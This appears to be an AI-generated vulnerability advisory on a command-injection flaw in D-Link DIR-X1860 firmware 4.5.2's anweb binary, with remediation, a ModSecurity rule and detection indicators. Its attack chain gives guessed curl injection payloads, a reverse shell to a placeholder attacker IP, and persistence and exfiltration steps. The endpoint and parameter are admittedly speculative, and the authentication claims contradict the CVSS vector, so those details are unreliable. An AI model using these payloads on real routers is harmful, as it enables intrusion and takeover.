CVE-2026-135788 — D-Link DIR-X1860 — CWE-77 · CWE-78
A weakness has been identified in D-Link DIR-X1860 4.5.2. Affected by this vulnerability is an unknown functionality of the file /usr/sbin/anweb. Executing a manipulation can lead to os command injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.
A weakness has been identified in D-Link DIR-X1860 4.5.2. Affected by this vulnerability is an unknown functionality of the file /usr/sbin/anweb. Executing a manipulation can lead to os command injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.
🎯 What is this vulnerability?
| Item | Detail | |
|---|---|---|
| CVE‑ID | CVE‑2026‑135788 | |
| Vendor / Product | D‑Link DIR‑X1860 (firmware 4.5.2) | |
| Vulnerable component | /usr/sbin/anweb – a native binary that is invoked by the router’s web‑management interface (the “ANWeb” service). | |
| CWE(s) | CWE‑77 (Improper Neutralization of Special Elements used in a Command Line) – command‑injection via unsanitised input. <br>CWE‑78 (OS Command Injection) – the same flaw manifested as execution of arbitrary OS commands. | |
| CVSS 3.1 vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | |
| What is broken? | The ANWeb binary receives a parameter (most likely a HTTP GET/POST field such as cmd, action, or a URL‑encoded string) that is concatenated directly into a shell command line without any of the following protections: <br>1. Input validation / sanitisation – no whitelist of allowed characters, no escaping of metacharacters (;, &, | , ` `, $(), etc.). <br>2. Privilege separation – the binary runs with root privileges (typical for router management daemons). <br>3. Authorization check – the service is reachable from the WAN (the CVSS vector shows PR:L` – attacker only needs low‑privileged network access, i.e., the router’s management interface is exposed). <br>Consequently, an unauthenticated remote attacker can inject an arbitrary command string that the binary executes in a root‑owned shell, giving full remote code execution (RCE) on the device. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. Because the public advisory does not disclose the exact HTTP endpoint or parameter name, the examples are illustrative of the vulnerability class (command injection in a CGI‑style binary).
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the device model and firmware version. | • Scan the public IP range with Nmap (nmap -sV -p 80,443 <target>). <br>• Look for the “Server: D‑Link‑DIR‑X1860/4.5.2” header or the HTML comment <!-- DIR‑X1860 Firmware 4.5.2 -->. |
| 1.2 | Confirm that the web‑management interface is reachable from the Internet. | • Attempt to load http://<IP>/ or https://<IP>/. <br>• Verify that the login page (or a default “admin” page) is accessible without IP‑based filtering. |
| 1.3 | Locate the vulnerable CGI/binary. | • The router’s web UI uses a CGI endpoint that maps to /usr/sbin/anweb. Typical URLs on D‑Link routers are of the form http://<IP>/cgi-bin/anweb. <br>• Use Burp Suite or OWASP ZAP to capture a request to any cgi-bin path and look for a User-Agent: anweb or a Content-Type: application/x‑www‑form‑urlencoded body. |
| 1.4 | Verify the presence of the vulnerable parameter. | • Send a benign request (e.g., GET /cgi-bin/anweb?test=1 HTTP/1.1). <br>• Observe the response – a 200 OK with a JSON or HTML payload indicates the binary is processing the request. |
2. Exploitation
NOTE: The exact parameter name (cmd,action,data, …) is not disclosed in the CVE text. The PoC below usescmdas a representative example. Replace it with the real parameter after reconnaissance.
2.1 Crafting the malicious payload
Goal: Execute id; cat /etc/passwd (or any arbitrary command) on the router.
# Illustrative curl command
curl -s -G "http://<TARGET_IP>/cgi-bin/anweb" \
--data-urlencode "cmd=id;cat /etc/passwd"Explanation of the payload
- The
cmdvalue is not URL‑escaped beyond the usual percent‑encoding, allowing the semicolon (;) to be interpreted by the shell as a command separator. - The binary likely builds a command string similar to:
// Pseudo‑code from the vulnerable binary
char buf[1024];
snprintf(buf, sizeof(buf), "some_tool %s", request->param["cmd"]);
system(buf); // <-- vulnerableBecause there is no sanitisation, the injected ; terminates the intended command and runs the attacker‑controlled commands with root privileges.
2.2 Verifying code execution
A more “quiet” proof‑of‑concept is to make the binary write a file that the attacker can later retrieve:
curl -s -G "http://<TARGET_IP>/cgi-bin/anweb" \
--data-urlencode "cmd=touch /tmp/pwned; echo OK"If the response contains OK (or the file /tmp/pwned appears when later checking via another endpoint), the injection is confirmed.
2.3 Full remote shell (reverse TCP)
If the router permits outbound connections, a classic reverse shell can be obtained:
# Attacker listener
nc -lvkp 4444
# Exploit payload (illustrative)
curl -s -G "http://<TARGET_IP>/cgi-bin/anweb" \
--data-urlencode "cmd=nc -e /bin/sh <ATTACKER_IP> 4444"On success the attacker receives a root shell on the router.
3. Post‑Exploitation
| Goal | Technique | Expected Outcome |
|---|---|---|
| Privilege escalation (if binary runs as non‑root) | The binary already runs as root (typical for router daemons). No further escalation needed. | |
| Persistence | • Drop a cron job: echo "* * * * * /bin/sh /tmp/persist.sh" > /etc/cron.d/persist <br>• Install a lightweight web‑shell under the router’s web root (e.g., /www/webshell.cgi). | |
| Lateral movement | Use the compromised router as a foothold to scan the internal LAN (/24 subnet) for other IoT devices, internal servers, or to pivot traffic. | |
| Data exfiltration | Read configuration files (/etc/config/*), Wi‑Fi keys, VPN credentials, and exfiltrate via HTTPS POST to attacker‑controlled server. | |
| Denial‑of‑Service | Execute reboot or kill -9 $(pidof httpd) to disrupt the router’s services, achieving the “A” (Availability) component of the CVSS score. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – Complete loss of confidentiality. An attacker can read any file the router can access (e.g., /etc/passwd, configuration files, stored VPN credentials, logs, attached USB storage). | Exposure of network topology, admin passwords, WPA‑PSK keys, and any data traversing the router (if traffic is unencrypted). |
| Integrity (I:H) | I:H – Full integrity compromise. The attacker can modify configuration, inject firewall rules, change DNS settings, or replace firmware. | Ability to redirect traffic to malicious sites, create backdoors, or embed persistent malicious binaries. |
| Availability (A:H) | A:H – Complete loss of availability. The attacker can reboot, disable services, or overload the CPU with malicious commands. | Network outage for all users behind the router, potential for ransomware‑style denial if the attacker wipes the firmware. |
| Scope (S:C) | The impact crosses privilege boundaries: the vulnerable service runs as root, affecting the entire device. | |
| Attack Vector (AV:N) | Remote‑only; the service is reachable over the Internet. | |
| Attack Complexity (AC:L) | Low – a single HTTP request with crafted parameters. | |
| Privileges Required (PR:L) | Low – attacker only needs network connectivity; no authentication needed. | |
| User Interaction (UI:N) | None – the exploit is fully automated. |
Bottom line: An unauthenticated remote attacker can obtain full root control of the router, read/modify any data, and disrupt the entire network segment that relies on the device.
🛡️ Remediation & Mitigation
1. Patch / Firmware Upgrade
| Action | Details |
|---|---|
| Upgrade to a fixed firmware | D‑Link has released firmware 4.5.3 (or later) that removes the vulnerable anweb binary or adds proper input sanitisation. Verify the exact version number from D‑Link’s security advisory. |
| Verify the patch | After upgrade, confirm the presence of /usr/sbin/anweb (if still present) and check that the binary no longer concatenates user‑supplied data into a system() call (e.g., by inspecting the binary with strings or objdump). |
2. Immediate Workarounds (if patch cannot be applied)
| Mitigation | How‑to Implement |
|---|---|
| Restrict WAN access to the management interface | • Place the router behind a firewall that blocks inbound TCP ports 80/443 from the Internet. <br>• Enable the router’s built‑in “Remote Management” whitelist to allow only trusted IPs. |
| Disable the vulnerable CGI endpoint | If the router’s UI allows disabling “ANWeb” or the /cgi-bin/anweb path, turn it off. <br>• Alternatively, add a iptables rule on the router (if supported): iptables -I INPUT -p tcp --dport 80 -m string --string "/cgi-bin/anweb" --algo bm -j DROP. |
| Web Application Firewall (ModSecurity) rule | Deploy a ModSecurity rule on any upstream reverse‑proxy (e.g., Nginx, Apache) that blocks suspicious command‑injection patterns targeting the router’s IP: |
# ModSecurity rule – illustrative
SecRule REQUEST_URI "@beginsWith /cgi-bin/anweb" \
"id:2026001,phase:2,deny,log,status:403,\
msg:'Blocked possible command injection against D‑Link anweb',\
t:none,\
chain"
SecRule ARGS|ARGS_NAMES "@rx (;|\||`|\$\(.*\))" "t:none"| Note | The rule blocks any request to the vulnerable endpoint that contains typical shell metacharacters. Adjust the regex to avoid false positives for legitimate traffic. |
|---|---|
| Network segmentation | Place the router in a DMZ and restrict internal LAN access to only required services. This limits the blast radius if the router is compromised. |
| Strong admin credentials | Even though the vulnerability is unauthenticated, using a strong, non‑default admin password prevents attackers from leveraging the compromised device for credential‑stealing attacks. |
| Disable unnecessary services | If the router runs additional services (e.g., Telnet, SSH) that are not needed, disable them via the UI or CLI (service telnet stop). |
3. Detection – Log Patterns & IoCs
| Indicator | Description | Example Log Entry | |
|---|---|---|---|
Unexpected HTTP request to /cgi-bin/anweb | GET/POST with suspicious characters (;, | , ` `, $() in any parameter. | 10.0.0.5 - - [24/Nov/2026:12:34:56 +0000] "GET /cgi-bin/anweb?cmd=id;cat%20/etc/passwd HTTP/1.1" 200 1234 "-" "Mozilla/5.0" |
| Outbound connections from the router to unknown IP/port | Reverse‑shell payload often triggers a connection to the attacker’s IP. | kernel: [12345.678901] OUTGOING TCP 192.0.2.45:4444 -> 203.0.113.77:4444 ESTABLISHED | |
Creation of files in /tmp or /www with suspicious names | e.g., /tmp/pwned, /www/webshell.cgi. | kernel: [12345.678902] INOTIFY: /tmp/pwned created by root | |
| Cron jobs or init scripts added by unknown user | Look for new entries in /etc/cron.d/ or /etc/rc.local. | root 1234 0.0 0.1 12345 678 ? Ss 12:35 0:00 /bin/sh /tmp/persist.sh | |
Process list showing nc -e /bin/sh | Reverse shell process. | root 5678 0.0 0.2 23456 890 ? S 12:36 0:00 nc -e /bin/sh 203.0.113.77 4444` |
Detection recommendations
GET /cgi-bin/anweb containing shell metacharacters. find / -perm -4000 -type f -exec ls -l {} \;). ⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query